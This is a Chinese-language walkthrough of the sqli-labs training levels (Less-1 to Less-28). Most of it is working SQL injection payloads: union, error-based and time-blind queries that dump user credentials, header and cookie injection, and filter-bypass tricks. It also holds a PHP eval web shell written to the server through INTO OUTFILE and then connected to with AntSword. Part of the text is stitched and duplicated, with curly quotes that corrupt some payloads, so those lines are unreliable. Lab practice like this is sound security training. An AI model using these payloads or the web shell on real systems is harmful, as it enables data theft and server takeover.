读写文件
此状态不允许导入导出状态
修改限制成功
– (这里有一个空格,–空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用–+代替-- ,原因是+在URL被URL编码后会变成空格。
显示位:
这个显示位指的是网页中能够显示数据的位置。
举例来说,比如我们通过ORDER BY命令知道了表的列数为11。然后再使用UNION SELECT 1,2,3…,11 from table,网页中显示了信息8,那么说明网页只能够显示第8列中信息,不能显示其他列的信息。也可以理解为网页只开放了8这个窗口,你想要查询数据库信息就必须要通过这个窗口。所以如果我们想要知道某个属性的值,比如admin,就要把admin属性放到8的位置上,这样就能通过第8列爆出admin的信息。
-
information_schema:表示所有信息,包括库、表、列
-
information_schema.tables:记录所有表名信息的表
-
information_schema.columns:记录所有列名信息的表
-
table_schema:数据库的名称
-
table_name:表名
-
column_name:列名
-
group_concat():显示所有查询到的数据
-
concat()函数
1)、功能:将多个字符串连接成一个字符串。
2)、语法:concat(str1, str2,…)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
-
limit子句用于限制查询结果返回的数量。
用法:【select * from tableName limit i,n 】
参数
- tableName : 为数据表;
- i : 为查询结果的索引值(默认从0开始);
- n : 为查询结果返回的数量
Less-1
1.经过语句
1 and 1=2 --+
测试 ,页面回显正常,所以该地方不是数值查询
2.接着尝试在id后面加上’,发现页面回显不正常,表示可能存在SQL字符注入
3.判断注入类型:
1).假设为数字型:
1 and 1=1
1 and 1=2
都回显正常,说明不是数字型
2).假设为字符型
1' and '1'='1
1' and '1'='2
当执行1’ and ‘1’='2语句时,页面返回异常,确定为字符型注入
4.order by猜解字段
?id=1' order by 3--+
?id=1' order by 4--+
order by 3页面回显正常,order by 4页面回显不正常,说明此表一个有3列。
5.确定显示位
知道了表中的列数我们还需要查询回显位,因为虽然知道了列数,但我们需要sql注入返回信息到我们手中。对于一个网页,如果它的列数有三列,但可能只有1,2列的数据返回页面前端。所以我们需要查询哪个字段数会回显,所以我们用union select 1,2,3来查看回显位。
union select后面加数字串时,如果没有后面的表名,该语句没有向任何一个数据库查询,那么它输出的内容就是我们select后的数字(数字串不一定要1,2,3,也可以是随便的数字如1,342,3522)。
所以这个时候我们可以用union select 1,2,3来做一个快速查询,根据显示在页面上的数字判断哪个数字所在的地方是“通道”,那我们只需要把这个数字改成我们要查询的内容就好了。
利用联合查询语句,是前面的查询语句失效,然后利用select语句在表的添加一条临时的记录1,2,3,使页面显示对应的数字,从而判断网页中显示的是哪几个字段的数据信息。如下图,对应的信息显示位为2和3,可以知道,当前查询语句查询的是表格的第2,3个字段的内容。
6.利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息
注意 id=非正确值
库名:security
?id=-1' union select 1,2,database() --+
表名:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
可以显示指定数据库中的所有表名
列名:
?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
密码:
?id=-1' union select 1,2,group_concat(password) from users --+
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O1HVrU5h-1646486086872)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220302135108457.png)]
用户名:
?id=-1' union select 1,2,group_concat(username) from users --+
Less-2
1.判断是否存在sql注入,页面返回异常,存在sql注入
?id=1'
2.判断类型
根据语句,判断为数值型注入
?id=1 and 1=1
?id=1 and 1=2
3.order by 3 页面显示正常,order by 4页面显示不正常,所以该表有3列数据
接着可以使用联合查询进行注入,详细过程参考第一关
Less-3
通过基础判断,确定为字符型注入
输入语句查询数据:页面返回异常
输入单引号,根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了,猜想一下咱们输入1在数据库语句中的位置,形如select … from … where id=(‘1’) …,在第一题中id=1‘的后面单引号加上),其它保持不变就行了,执行sql语句查询数据即可
Less-4
与第三关类似,第四关使用 ("") 的方式闭合字符串,然后可以优先使用联合查询注入
1.当输入
?id=2" --+
时,页面显示不正常
2.当输入
?id=2") --+
页面正常
Less-5
看到这个报错信息,第一反应就是布尔型盲注、报错型注入、时间延迟型盲注了
报错型注入:
count(*):函数返回给定选择中被选的函数
concat():连接字符串,比如 concat(‘a’,’b’) 就是ab
floor():向下取整
rand():随机数函数
rand(0):伪随机数,生成的随机数有规律
floor(rand(0)*2) :生成的随机数存在规律0110110011101
floor使用方法 and (select 1 from (select count(),concat((payload),floor (rand(0)\*2))x from information_schema.tables group by x)a) --+
floor报错注入满足的条件是数据库中要查询的数据至少3条以上
使用 floor()、count()、group by 的SQL 注入语句:
?id=1’ and ( select 1 from ( select count(*),concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) ) x from information_schema.schemata group by x ) b ) --+
我们输入的URL放入到sql语句中,就成了:
“select * from users where id=‘1’ and ( select 1 from ( select count(*),concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) ) x from information_schema.schemata group by x ) b ) --+ ’ LIMIT 0,1”
这时,一步一步分解 sql 语句可以看到
concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) )
的目的是将要查询信息的语句
select schema_name from information_schema.schemata limit 0,1
和 floor( rand( 0 )*2 )
用 concat() 连接起来,这样就可以通过报错,将要查询的信息爆出来了。
concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) ) x
当中的 x 是相当于给这一串字符添加了一个别名,即 x 就等于
concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) )
,
这样做的目的是,省得后面再次使用这一长条字符的时候麻烦,可以直接使用它的别名来代替。
所以,这条语句
select count(*),concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) ) x from information_schema.schemata group by x
就可以分解简单的看成
select count(*), x from information_schema.schemata group by x
这里的 x 就是上面讲到的一长串字符的别名,x 里面连接包含了要查询的语句和floor(rand(0)*2),是 floor() 报错的关键核心SQL语句。
但是如果就这样放到URL里面去执行肯定不行,因为没有和 select * from users where id=‘1’ 拼接到一起,不能一起执行,所以我们需要用到 and 运算符。
and 运算符简介:
and 运算符通常用在select,update,detele 语句的 where 子句中以形成布尔表达式。
and 运算符是组合两个或多个布尔表达式的逻辑运算符。
sql语句要求在查询结果的基础上再执行查询时,必须给定一个别名。这时,我们先将我们的语句变成这样:
( select count(*),concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) ) x from information_schema.schemata group by x ) b
就是给了这一长串字符一个别名:b
最后我们用到的 and 运算符,将 id = ‘1’ 与 这边结果连着一起,但是又必须是布尔型,就是说返还的结果不是 1,就是 0。所以我们就在 b 的基础上再执行查询,也就响应了为什么上面要给一个别名 b 了,因为sql语句要求在查询结果的基础上再执行查询时, 必须给定一个别名,这时用 select 1 from b 语句,返还布尔值,与 select * from users where id=‘1’ 连接在一起,这样就可以执行成功了。
可以更改 limt 子句后面的参数来决定显示出来的信息,因为报错信息的长度有限,不能直接全部输出出来。
报错注入的概念:
(1). 通过floor报错 and (select 1 from (select count(*),concat((
payload),floor (rand(0)*2))x from information_schema.tables group by
x)a) 其中payload为你要插入的SQL语句 需要注意的是该语句将 输出字符长度限制为64位
(2). 通过updatexml报错 and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
(3). 通过extractValue报错 and extractvalue(1, payload) 输出字符有长度限制,最长32位。
爆库名:
limit 0,1 数据库名为information_schema
http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
limit 1,1 数据库名为blog1
http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 1,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
以此类推。
但有种简便方法一步到位
http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
爆表名:
users
http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 3,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
爆列名:
修改limit x,1 可以遍历列名,找到username和password列
user pass
http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
获取信息:
用户名
http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 1,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
密码
http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 2,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
Less-6
与第5关类似,只不过这一关使用的是 ""的方式闭合字符串
我们只需要将?id=2’ 改为 ?id=2"即可
Less-7
数据库file权限
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限
into outfile命令
使用的环境:
我们必须知道,服务器上一个可以写入文件的文件夹的完整路径
第七关标题为” Dump into outfile“ 意思是利用文件导入的方式,不论注入方式是什么,我们都要先判断注入点。
1.我们正常输入?id=1页面回显如下
2.当我们输入 and 1=2 页面显示依然正常,说明不是数值型注入
3.当我们输入?id=1’页面报错,说明可能存在"注入
4…当我们输入?id=1’ --+页面显示依然不正常
5.接着我们尝试?id=1’) --+,页面依然显示不正常
6.我们可以接着输入?id=1") --+尝试,发现页面回显正常
我们个简单题less-2直接注入拿到路径,方便导出。
Less-2/?id=-1 union select 1,@@basedir,@@datadir --+
D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\data\\12.php
注入less-7
payload
?id=1')) union select 1,2,'<?php @eval($_POST["pass"]);?>' into outfile "D:\\phpstudy_pro\\Extensions\\www\\12.php"--+
虽然回显报错,但是查看本地文件已经写入了12.php,接下来连接蚁剑。
连接之前最好用浏览器访问一下,相当于运行一下,否则可能连不上。
地址:php一句话木马的地址,后面的口令就是刚才写的post里写的pass
连接成功
Less-8
?id=1' --+
页面回显正常,这里是单引号字符型注入
2.页面没有显示位,没有数据库报错信息。
我们先尝试一下是否有file权限
?id=1' union select 1,2,3 into outfile "D:\\phpstudy_pro\\Extensions\\WWW\\88888.php"--+
上传成功
Less-9
看标题,应该是让我们用时间盲注,并且还有单引号对参数进行包装
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-9 Blind- Time based- Single Quotes- String</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-9.jpg" /></center>
</body>
</html>
从源码可以看出,无论我们的SQL注入在后端拼接的语句是否正确,都只会给我返回you are in…这样的句子,所以不太符合布尔盲注的特征,就是有两个不一样的返回界面。
所以我们采用延时注入猜解数据
查询库名长度:
?id=1' if(length(database())=8,sleep(3),1)--+
产生延迟,所以库名长为8
猜数据库名第一位:
(如果数据错误,则会延迟)
?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(10))--+
没有延迟,说明第一个字符是s,然后以此类推得出数据库名为security
猜表名第一位:
?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(10))--+
会看到有明显的延迟
猜字段:
?id=1' if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(3),1)--+
产生延迟
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+
猜值:
?id=1' and if(left((select password from user order by id limit 0,1),4)='dumb',sleep(5),1) --+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+
Less-10
GET - Blind - Time based - double quotes (基于时间的双引号盲注)
基于时间的双引号盲注,只要把上一题Less-9的单引号改成双引号,一样的注入。
11到21关的提交方式全是post型的,采用BP抓包实现猜解
Less-11
根据提示,因为是post方式提交,所以
1.输入admin admin 登陆,抓包,发送到repeater模块
在repeater中通过修改post的参数进行注入。
加入单引号存在sql注入,并报错,所以我们可以采用报错注入,也可以联合查询
说明是基于单引号的报错注入
我们用extractvalue()
爆库
admin' and extractvalue(1,concat('^',(select(database())),'^')) --+
爆表
admin' and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) --+
爆列名
admin' and extractvalue(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='users'),'^')) --+
爆值
admin' and extractvalue(1,concat('^',(select group_concat(username,0x3a,password) from users),'^')) --+
Less-12
双引号加括号报错型注入
可以使用上一题的payload只需要修改单引号为双引号加括号
爆库
admin") and extractvalue(1,concat('^',(select(database())),'^')) --+
爆表
admin") and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) --+
爆列名
admin") and extractvalue(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='users'),'^')) --+
爆值
admin") and extractvalue(1,concat('^',(select group_concat(username,0x3a,password) from users),'^')) --+
Less-13
通过报错可知 是通过’) 闭合的,有回显,可通过报错注入获取数据
但发现没有登入成功返回信息
判断页面是否有布尔类型状态:
uname=admin') and ('1')=('1 --+&passwd=admin&submit=Submit
uname=admin') and ('1')=('2 --+&passwd=admin&submit=Submit
页面没有布尔状态,只能用延时注入
方法一,报错型
admin') and updatexml(1,concat('^',(select database()),'^'),1) --+
admin') and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) --+
最后得到用户名与密码:
admin') and extractvalue(1,concat('^',(select group_concat(username,0x3a,password) from users),'^')) --+
方法二,时间型盲注
admin') and if(left(database(),1)='s',sleep(3),1) --+&passwd=admin&submit=Submit
有延迟,说明注入成功
这就又和之前的一样了,按照时间盲注判断即可
Less-14
用双引号对参数进行了包装
有报错,绕过后不显示登陆成功:
和上题一样,采用报错注入和延时注入
Less-15
经过不同的post后,页面没有回显,不能采用联合查询
加入’ 后也没有报错,不能用报错注入
也没有布尔状态
所以只能使用延迟注入:
库的长度:
admin' and if(length(database())=8,sleep(5),1)--+&
库名:
admin' and if(left(database(),1)='s',sleep(5),1)--+
表
admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
列名
admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
值:
admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
Less-16
不管在登陆框怎么输入,都没有错误信息显示,猜测是延迟型盲注。所以和上一关类似,只需将单引号改为双引号加括号 ")
库的长度:
admin") and if(length(database())=8,sleep(5),1)--+&
库名:
admin") and if(left(database(),1)='s',sleep(5),1)--+
表
admin") and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
列名
admin") and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
值:
admin") and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
Less-17
看标题以及关卡的页面提示,可以看出是让我们对密码进行修改。
查看源码:
这里对uname做了check_input的处理,check_input()函数如下
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
只截取15个字符
get_magic_quotes_gpc()
当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
在magic_quotes_gpc = On的情况下,如果输入的数据有
单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。
stripslashes()删除由 addslashes() 函数添加的反斜杠
ctype_digit()判断是不是数字,是数字就返回true,否则返回false
mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
intval() 整型转换
所以我们对password爆破:
使用updatexml()以下测试version()返回mysql版本:
admin' and updatexml(1,concat('^',version(),'^'),1) --+
成功
爆库
admin' and updatexml(1,concat('^',database(),'^'),1) --+
爆表名
123456' and updatexml(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^'),1) --+
爆列名
456789' and updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='users'),'^'),1) --+
爆值
11' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+
Less-18
POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
报错型,单引号,user-agent型注入点。
看到user-agent的回显,猜测注入点在user-agne
我们抓包修改user-agent
库:
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
接下来的步骤和之前的报错型注入一摸一样,payload可以参看,less-12 双引号报错型注入,只需要把双引号改为单引号就可以作为本题的payload
表名
admin' and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) --+
列名
admin' and extractvalue(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='users'),'^')) --+
值
admin' and extractvalue(1,concat('^',(select group_concat(username,0x3a,password) from users),'^')) --+
Less-19
POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
单引号,报错型,referer型注入点。
本题和上一题很像,回显是referer,所以注入点改为referer,paylaod和上一题完全一样
Referer:'and updatexml(1,concat(0x7e,(select database())),1)and '1'= '1
Less-20
这关考的是cookie注入(直接登录时抓包是抓不到cookie的,源码中可以看到我们的cookie是从uname中获取,刷新后才会执行select。同样的这关也对账号密码进行了处理)
用户登录过程中burpsuite抓到两个request报文,第一个传送用户名和密码,第二个请求登录成功后的新页面,而这个request报文是携带cookie的,这里我用联合查询
Cookie: uname=admin' and 1=1 order by 4 #
Cookie: uname=admin' and 1=2 union select 1,2,3 #
Cookie: uname=admin' and 1=2 union select database(),2,3 #
用其他注入方式也可
ct group_concat(table_name) from information_schema.tables where table_schema=database()),’^’)) --+
列名
admin’ and extractvalue(1,concat(’^’,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),’^’)) --+
值
admin’ and extractvalue(1,concat(’^’,(select group_concat(username,0x3a,password) from users),’^’)) --+
# **Less-19**
POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
单引号,报错型,referer型注入点。
本题和上一题很像,回显是referer,所以注入点改为referer,paylaod和上一题完全一样
Referer:'and updatexml(1,concat(0x7e,(select database())),1)and ‘1’= '1
# **Less-20**
这关考的是cookie注入(直接登录时抓包是抓不到cookie的,源码中可以看到我们的cookie是从uname中获取,刷新后才会执行select。同样的这关也对账号密码进行了处理)
用户登录过程中burpsuite抓到两个request报文,第一个传送用户名和密码,第二个请求登录成功后的新页面,而这个request报文是携带cookie的,这里我用联合查询
Cookie: uname=admin’ and 1=1 order by 4 #
Cookie: uname=admin’ and 1=2 union select 1,2,3 #
Cookie: uname=admin’ and 1=2 union select database(),2,3
用其他注入方式也可
Less-21
cookie injection- base64 encoded-single quotes and parenthesis
(Cookie注入.base 64编码.单引号和括号)
根据提示我们用BP抓包进行payload
抓到两个包,其中一个包含cookie
可以看到数据以base64编码,通过解码得到:
所以此题只需要上传paylaod的时候base64加密,其他与20关相同,可采用联合查询
接下来只需要修改第三条查询语句,和less-20一样(注意用#注释,而不用–+),只要base64加密后写入cookie,就可以完成注入
Less-22
Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)
base64编码,双引号,报错型,cookie型注入。
和less-21一样的,只需要使用双引号代替单引号再去掉括号就可获取数据
用编码工具进行编码:
Less-23
GET - Error based - strip comments (基于错误的,过滤注释的GET型)
分析源码:
使用了preg_replace()函数,将注释符过滤掉了
我们通过报错知道是字符型注入:
但不能使用注释符:
我们尝试其他闭合:
库名:
?id=' union select 1,2,database() '
表名:
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'='
列名:
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' or '1'='
值:
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
Less-24
Second Degree Injections Real treat -Store Injections (二次注入)
1.注册一个admin’#的账号。
2.登录admin’#该,修改该帐号的密码,此时修改的就是admin的密码,我修改为123456。
Sql语句变为
UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就是执行了
UPDATE users SET passwd="New_Pass" WHERE username =' admin'
这样就会修改 admin 的密码,而不是我自己注册的账号。
再次登录,成功注入
Less-25
源码:
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
闭合方式:id='$id'
关键词:GET 类型、过滤 and+or。
进行闭合:
?id=2' --+
我们可采用联合查询
库名:
?id=-2' union select 1,2,database()--+
表名:
错误示范:
?id=-2' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
因为information含or,被过滤,采用双写绕过
?id=-2' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() --+
列名:
?id=-2' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() aandnd table_name='users'--+
值:
?id=-2' union select 1,2,group_concat(username,'^',passwoorrd) from users--+
Less-25a
Trick with OR & AND Blind (过滤了or和and的盲注)
那么盲注怎么判断过滤了and跟or呢,直接在前面添加or或and
通过各种判断,发现id没有做任何处理,且无法输出错误项,所以不能采用报错型注入,我们采用盲注或联合查询,和25关一样,去掉单引号即可:
库名:
?id=-2' union select 1,2,database()--+
表名
?id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() --+
列名:
?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() aandnd table_name='users'--+
值:
?id=-1 union select 1,2,group_concat(username,'^',passwoorrd) from users--+
Less-26
Trick with comments and space (过滤了注释和空格的注入)
源码:
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//fiddling with comments
$id= blacklist($id);
//echo "<br>";
//echo $id;
//echo "<br>";
$hint=$id;
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
是字符型注入,但无法进行闭合
查看源码发现过滤了过滤了 or,and , /* , – , # , 空格 , /
- 过滤 or 和 and:可以用 && 和 || 替换或者采用双写的方式绕过
- 过滤空格:可以用下表的字符进行替换
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
- 过滤注释:可以用两侧闭合方式绕过。例如:less-23
尝试闭合
?id=1’%a0||'1
第一个 ’ 首先闭合id=’$id’ 中的’,%a0是空格的意思,
||是或者的意思,'1是为了闭合后面的 ’
注意在hackbar中输入&&时,需要自行URL编码为%26%26,否则会报错,而输入||不需要
(报错注入)确认数据库:
id=1'%26%26extractvalue(1,concat(0x7e,database(),0x7e))%26%26'1
表名:
?id=1'%26%26extractvalue(1,concat(0x7e,(select%a0 group_concat(table_name)%a0from %a0infoorrmation_schema.tables %a0where%a0 table_schema=database()),0x7e))%26%26'1
列名:
?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1
值:
?id=0'%a0union%a0select%a01,group_concat(username,passwoorrd),3%a0from%a0users%a0where%a0'1%27='1
后面多了where ‘1’='1,是为了让语句变成无约束查询
less-26a
GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)
这关与26的区别在于,添加了一个括号,同时在sql语句执行抛出错误后并不在前台页面输出。所以我们采用盲注这里依旧是利用union注入。
数据库名:
?id=-1')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1
表名:
?id=-1')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1
列名:
?id=-1')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1
值:
?id=100')%0bunion%0bselect%0b1,group_concat(passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1
?id=-1')%0bunion%0bselect%0b1,group_concat(passwoorrd,username),3%0bfrom%0busers%0bwhere%0b('1')=('1
less-27
GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)
根据报错,sql语句加入了单引号
查看源码:
union和select用大小写绕过
库名:
?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1
or '1 ’ = ‘1是为了闭合和后的’ 变成or ‘1’=‘1’ limit 1,1 让语句完整
表名 (这里需要把or换成&&(%26%26))
?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1
列名:
?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1
值:
?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3
less-27a
GET - Blind Based- All your UNION & SELECT belong to us
这个是less 27的盲注版本,双引号型
?id=1"or "1"="1
不能报错,采用盲注:
猜解数据库长度:
?id=1"and(length(database())>7)%a0uNion%a0sELect%a01,2,"3
?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3
查数据库:
?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3
查表名:
?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"%a0="1
查表名需要闭合后面双引号
“1”="1,前面还需要&&(%26%26)
查列名:
?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%26%26%a0"1"%a0="1
值:
?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3
less-28
GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis(基于错误的,有括号的单引号字符型,过滤了union和select等的注入)
源码:
# 过滤 /*
$id= preg_replace('/[\/\*]/',"", $id);
# 过滤 - # 注释
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
# 过滤 空格 +
$id= preg_replace('/[ +]/',"", $id);.
# 过滤 union select /i 大小写都过滤
$id= preg_replace('/union\s+select/i',"", $id);
return $id;
